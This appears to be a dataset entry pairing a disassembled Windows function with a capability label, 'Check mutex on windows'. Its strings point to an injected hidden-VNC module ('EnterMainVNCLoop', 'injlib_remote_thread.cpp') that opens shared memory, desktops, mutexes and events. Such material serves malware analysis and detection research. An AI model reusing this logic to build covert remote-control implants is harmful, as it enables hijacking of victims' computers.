Function at 0x196bb280
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
push 4
push 0x1000
push 0xeec
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x196c8cb8], eax
cmp dword [0x196c8cb8], 0
jne 0x196bb2de
push 0x25666273
push 0x15
push 0x196c480c
call fcn.196b17f0
add esp, 0xc
push eax
push 2
push 0xa7
push str.injlib_remote_thread.cpp
push str.EnterMainVNCLoop
call fcn.196b1920
add esp, 0x14
jmp 0x196bbb6f
mov byte [0x196c8a37], 0
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x65162757
push 0xa
push 0x196c487c
call fcn.196b17f0
add esp, 0xc
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
je 0x196bb326
mov byte [0x196c8a37], 1
mov edx, dword [0x196c8cb8]
mov al, byte [0x196c95d0]
mov byte [edx + 0xc94], al
movzx ecx, byte [0x196c95d0]
test ecx, ecx
je 0x196bb357
mov edx, dword [0x196c8cb8]
add edx, 0xc74
push edx
call fcn.196b4760
add esp, 4
mov eax, dword [0x196c8cb8]
mov ecx, dword [ebp + 8]
mov dword [eax + 0x7fc], ecx
mov edx, dword [0x196c8cb8]
push edx
call fcn.196bf2e0
add esp, 4
mov eax, dword [0x196c8cb8]
add eax, 0x800
push eax
push 0
push 0xf001f
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov ecx, dword [0x196c8cb8]
mov dword [ecx + 0x1c], eax
push 0
push 0
push 0
push 0xf001f
mov edx, dword [0x196c8cb8]
mov eax, dword [edx + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, dword [0x196c8cb8]
mov dword [ecx + 0x20], eax
mov edx, dword [0x196c8cb8]
cmp dword [edx + 0x20], 0
jne 0x196bb3f8
push 0xae9ed5d5
push 0x14
push 0x196c4888
call fcn.196b17f0
add esp, 0xc
push eax
push 2
push 0xbf
push str.injlib_remote_thread.cpp
push str.EnterMainVNCLoop
call fcn.196b1920
add esp, 0x14
jmp 0x196bbb6f
mov eax, dword [0x196c8cb8]
mov ecx, dword [eax + 0x20]
mov edx, dword [0x196c8cb8]
mov eax, dword [ecx + 0x186]
mov dword [edx + 0x30], eax
mov ecx, dword [0x196c8cb8]
mov edx, dword [ecx + 0x20]
add edx, 0x122
push edx
mov eax, dword [0x196c8cb8]
add eax, 0x34
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [0x196c8cb8]
mov edx, dword [ecx + 0x20]
movzx eax, byte [edx + 0x192]
push eax
mov ecx, dword [0x196c8cb8]
mov edx, dword [ecx + 0x20]
mov eax, dword [edx + 0x18a]
push eax
mov ecx, dword [0x196c8cb8]
mov edx, dword [ecx + 0x20]
mov eax, dword [edx + 0x18e]
push eax
mov ecx, dword [0x196c8cb8]
push ecx
call fcn.196bea80
add esp, 0x10
push 0x80000000
push 0
push 0
mov edx, dword [0x196c8cb8]
add edx, 0x34
push edx
call dword [sym.imp.USER32.dll_OpenDesktopA]
mov ecx, dword [0x196c8cb8]
mov dword [ecx + 0x18], eax
mov edx, dword [0x196c8cb8]
mov byte [edx + 0xf], 1
mov eax, dword [0x196c8cb8]
add eax, 0x968
push eax
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov dword [ebp - 0x23c], eax
mov ecx, dword [0x196c8cb8]
mov edx, dword [ebp - 0x23c]
mov dword [ecx + 0x76c], edx
cmp dword [ebp - 0x23c], 0
je 0x196bb5bf
mov eax, dword [0x196c8cb8]
add eax, 0x9e0
push eax
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov dword [ebp - 0x240], eax
mov ecx, dword [0x196c8cb8]
mov edx, dword [ebp - 0x240]
mov dword [ecx + 0x770], edx
cmp dword [ebp - 0x240], 0
je 0x196bb5bf
mov eax, dword [0x196c8cb8]
add eax, 0x8f0
push eax
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0x244], eax
mov ecx, dword [0x196c8cb8]
mov edx, dword [ebp - 0x244]
mov dword [ecx + 0x774], edx
cmp dword [ebp - 0x244], 0
je 0x196bb5bf
mov eax, dword [0x196c8cb8]
add eax, 0xad0
push eax
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov dword [ebp - 0x248], eax
mov ecx, dword [0x196c8cb8]
mov edx, dword [ebp - 0x248]
mov dword [ecx + 0x77c], edx
cmp dword [ebp - 0x248], 0
je 0x196bb5bf
mov eax, dword [0x196c8cb8]
add eax, 0xa58
push eax
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0x24c], eax
mov ecx, dword [0x196c8cb8]
mov edx, dword [ebp - 0x24c]
mov dword [ecx + 0x780], edx
cmp dword [ebp - 0x24c], 0
jne 0x196bb631
mov eax, dword [0x196c8cb8]
mov ecx, dword [eax + 0x780]
push ecx
mov edx, dword [0x196c8cb8]
mov eax, dword [edx + 0x77c]
push eax
mov ecx, dword [0x196c8cb8]
mov edx, dword [ecx + 0x774]
push edx
mov eax, dword [0x196c8cb8]
mov ecx, dword [eax + 0x770]
push ecx
mov edx, dword [0x196c8cb8]
mov eax, dword [edx + 0x76c]
push eax
push 0x20be2c28
push 0x7e
push 0x196c48a0
call fcn.196b17f0
add esp, 0xc
push eax
push 2
push 0xd7
push str.injlib_remote_thread.cpp
push str.EnterMainVNCLoop
call fcn.196b1920
add esp, 0x28
jmp 0x196bbb6f
call fcn.196bf560
push 0x4000
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
call fcn.196bc1d0
mov dword [ebp - 0x20c], eax
push 0xffffffffffffffff
mov ecx, dword [0x196c8cb8]
mov edx, dword [ecx + 0x770]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [0x196c8cb8]
add eax, 0x878
push eax
push 0
push 0xf001f
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov ecx, dword [0x196c8cb8]
mov dword [ecx + 0x28], eax
push 0
push 0
push 0
push 0xf001f
mov edx, dword [0x196c8cb8]
mov eax, dword [edx + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, dword [0x196c8cb8]
mov dword [ecx + 0x2c], eax
mov edx, dword [0x196c8cb8]
cmp dword [edx + 0x2c], 0
jne 0x196bb70e
push 0x34a6809d
push 0x17
push 0x196c4920
call fcn.196b17f0
add esp, 0xc
push eax
push 2
push pe_nt_image_headers32
push str.injlib_remote_thread.cpp
push str.EnterMainVNCLoop
call fcn.196b1920
add esp, 0x14
mov eax, dword [ebp - 0x20c]
push eax
call fcn.196b1ba0
add esp, 4
mov ecx, dword [0x196c8cb8]
mov edx, dword [ecx + 0x770]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x196bbb6f
mov eax, dword [0x196c8cb8]
mov ecx, dword [eax + 0x770]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edx, dword [0x196c8cb8]
mov eax, dword [edx + 0x20]
cmp dword [eax + 0x118], 0
jne 0x196bb73c
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x196bb720
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov ecx, dword [0x196c8cb8]
mov dword [ecx + 0x7d8], eax
movzx edx, byte [0x196c8a36]
test edx, edx
jne 0x196bb7fe
mov eax, dword [0x196c8cb8]
mov ecx, dword [eax + 0x20]
mov edx, dword [ecx + 0x118]
cmp edx, dword [0x196c8ccc]
jne 0x196bb7fe
push 0x52668974
push 0xf
push 0x196c4938
call fcn.196b17f0
add esp, 0xc
push eax
push 0x27a2c99e
push 7
push 0x196c4948
call fcn.196b17f0
add esp, 0xc
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_FindWindowExW]
mov dword [ebp - 0x210], eax
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x210], 0
je 0x196bb777
push 0
push 0xd4139b3b
push 0x10
push 0x196c4950
call fcn.196b17f0
add esp, 0xc
push eax
mov eax, dword [ebp - 0x210]
push eax
call fcn.196bdff0
add esp, 0xc
mov ecx, dword [0x196c8cb8]
mov dword [ecx + 0x7e8], eax
call fcn.196bcb40
call fcn.196bf4d0
mov edx, dword [0x196c8cb8]
mov dword [edx + 0x744], 0
push 0
mov eax, dword [0x196c8cb8]
push eax
call fcn.196beb30
add esp, 8
call fcn.196bf420
push 0
push 0xf418d158
push 0xd
push 0x196c4964
call fcn.196b17f0
add esp, 0xc
push eax
push 0
call fcn.196bdff0
add esp, 0xc
mov ecx, dword [0x196c8cb8]
mov dword [ecx + 0x7e0], eax
movzx edx, byte [0x196c8a36]
test edx, edx
jne 0x196bb88c
mov eax, dword [0x196c8cb8]
mov ecx, dword [eax + 0x20]
mov edx, dword [ecx + 0x118]
cmp edx, dword [0x196c8ccc]
jne 0x196bb88c
push 0
push 2
push 0x574
mov eax, dword [0x196c8cb8]
mov ecx, dword [eax + 0x7e0]
push ecx
call dword [sym.imp.USER32.dll_PostMessageW]
push 0
push 0x4b9d7ce8
push 0x18
push 0x196c4974
call fcn.196b17f0
add esp, 0xc
push eax
push 0
call fcn.196bdff0
add esp, 0xc
mov edx, dword [0x196c8cb8]
mov dword [edx + 0x7ec], eax
movzx eax, byte [0x196c95d1]
test eax, eax
je 0x196bb8f2
mov ecx, dword [0x196c8cb8]
mov edx, dword [ecx + 0x30]
and edx, 0x20
jne 0x196bb8f2
push 0
push 0
push 0
push 0x196bb040
push 0
push 0
call fcn.196b4510
add esp, 0x18
push eax
call fcn.196b1ba0
add esp, 4
push 0xffffffffffffffff
mov eax, dword [0x196c8cb8]
mov ecx, dword [eax + 0x77c]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [0x196c8cb8]
mov eax, dword [edx + 0x20]
add eax, 0x199
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x218], 0
jmp 0x196bb935
mov ecx, dword [ebp - 0x218]
add ecx, 1
mov dword [ebp - 0x218], ecx
cmp dword [ebp - 0x218], 0x190
jae 0x196bb98c
mov edx, dword [ebp - 0x218]
imul edx, edx, 0x18
mov eax, dword [ebp - 0x214]
cmp dword [eax + edx + 8], 0
jne 0x196bb98a
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [ebp - 0x218]
imul ecx, ecx, 0x18
mov edx, dword [ebp - 0x214]
mov dword [edx + ecx], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, dword [ebp - 0x218]
imul ecx, ecx, 0x18
mov edx, dword [ebp - 0x214]
mov dword [edx + ecx + 8], eax
jmp 0x196bb98c
jmp 0x196bb926
mov eax, dword [0x196c8cb8]
mov ecx, dword [eax + 0x77c]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edx, dword [0x196c8cb8]
mov eax, dword [edx + 0x30]
and eax, 0x800
jne 0x196bb9fb
movzx ecx, byte [0x196c8a36]
test ecx, ecx
jne 0x196bb9c5
call dword [sym.imp.UxTheme.dll_GetThemeAppProperties]
mov dword [ebp - 0x21c], eax
push 0
call dword [sym.imp.UxTheme.dll_SetThemeAppProperties]
movzx edx, byte [0x196c8a36]
test edx, edx
jne 0x196bb9e5
mov eax, dword [ebp - 0x21c]
push eax
call dword [sym.imp.UxTheme.dll_SetThemeAppProperties]
push 0
push 0x196bb260
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call fcn.196c3110
add esp, 0xc
push 1
mov ecx, dword [0x196c8cb8]
mov edx, dword [ecx + 0x774]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x196bbb6f
lea eax, [ebp - 0x238]
push eax
call fcn.196c2e20
add esp, 4
test eax, eax
je 0x196bbb6a
cmp dword [ebp - 0x234], 5
jne 0x196bbb59
mov ecx, dword [0x196c8cb8]
mov edx, dword [0x196c9568]
mov eax, dword [ecx + 0x9c]
cmp eax, dword [edx + 0x25f8]
jne 0x196bba77
mov ecx, dword [0x196c8cb8]
mov edx, dword [0x196c9568]
mov eax, dword [ecx + 0x9c]
cmp eax, dword [edx + 0x25fc]
je 0x196bbb59
cmp dword [ebp - 0x230], 0
jne 0x196bbacc
mov ecx, dword [0x196c8cb8]
cmp dword [ecx + 0x28], 0
je 0x196bbac7
mov edx, dword [0x196c8cb8]
mov eax, dword [edx + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [0x196c8cb8]
mov edx, dword [ecx + 0x28]
push edx
call fcn.196b1ba0
add esp, 4
mov eax, dword [0x196c8cb8]
mov dword [eax + 0x28], 0
mov ecx, dword [0x196c8cb8]
mov dword [ecx + 0x2c], 0
jmp 0x196bbb59
mov edx, dword [0x196c8cb8]
add edx, 0x878
push edx
push 0
push 0xf001f
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov ecx, dword [0x196c8cb8]
mov dword [ecx + 0x28], eax
push 0
push 0
push 0
push 0xf001f
mov edx, dword [0x196c8cb8]
mov eax, dword [edx + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, dword [0x196c8cb8]
mov dword [ecx + 0x2c], eax
mov edx, dword [0x196c9568]
movzx eax, byte [edx + 0x2600]
push eax
mov ecx, dword [0x196c9568]
mov edx, dword [ecx + 0x25f8]
push edx
mov eax, dword [0x196c9568]
mov ecx, dword [eax + 0x25fc]
push ecx
mov edx, dword [0x196c8cb8]
push edx
call fcn.196bea80
add esp, 0x10
push 0
mov eax, dword [0x196c8cb8]
push eax
call fcn.196beb30
add esp, 8
push 0
lea ecx, [ebp - 0x238]
push ecx
call fcn.196c3020
add esp, 8
jmp 0x196bb9fb
mov esp, ebp
pop ebp
ret 4